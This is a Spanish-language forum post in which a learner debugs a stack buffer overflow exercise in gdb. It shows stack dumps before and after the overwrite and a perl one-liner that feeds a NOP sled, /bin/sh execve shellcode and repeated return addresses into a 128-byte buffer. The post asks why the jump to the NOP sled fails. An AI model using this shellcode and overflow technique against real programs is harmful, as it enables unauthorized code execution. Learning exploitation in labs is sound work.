Mmmm
Entonces no sé si lo entendido bien o estoy metiendo la pata en algún sitio. La cadena que estoy metiendo en el buffer es así: NOPS + shellcode + dirección de salto a los NOPS
Mira, esta es la pila antes de ejecutar el "strcpy"
0xbffff5a4: 0xbffff664 0x00119b02 0xbffff654 0x080481cc
0xbffff5b4: 0xbffff648 0x0012da74 0x00000000 0x00130b28
0xbffff5c4: 0x00000001 0x00000000 0x00000001 0x0012d918
0xbffff5d4: 0x00000000 0x00010000 0x00296ff4 0x00246e79
0xbffff5e4: 0x0016d785 0xbffff5f8 0x00154ae5 0x00000000
0xbffff5f4: 0x08049ff4 0xbffff608 0x080482c0 0x0011eac0
0xbffff604: 0x08049ff4 0xbffff638 0x08048429 0x00297324
0xbffff614: 0x00296ff4 0x08048410 0xbffff638 0x0016d985
0xbffff624: 0x0011eac0 0x0804841b 0xbffff638 0x080483f7 <-- RET
0xbffff634: 0xbffff831 0xbffff6b8 0x00154ce7 0x00000002
Tengo declarada el variable buffer con 128 bytes y el RET lo sobreescribo con 136. Y así paso los parametros
run $(perl -e 'print "\x90"x51 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xb4\xf5\xff\xbf"x10')
0xbffff5a4: 0xbffff5ac 0xbffff831 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0xeb909090 0x76895e1f
0xbffff5e4: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbffff5f4: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbffff604: 0x69622fff 0x68732f6e 0xbffff5b4 0xbffff5b4
0xbffff614: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4
0xbffff624: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4 <-- RET sobreescrito con dir. de salto a NOPS
0xbffff634: 0xbffff800 0xbffff6b8 0x00154ce7 0x00000002
He puesto que salte a la dir 0xbffff5b4 que es donde hay NOPS y obtengo esto:
rror accessing memory address 0x90909090: Error de entrada/salida.
0xbffff5b4 in ?? ()
Se supone que tendría que ejecutar lo que hubiera en la dir. 0xbffff5b4 no¿??
Salu2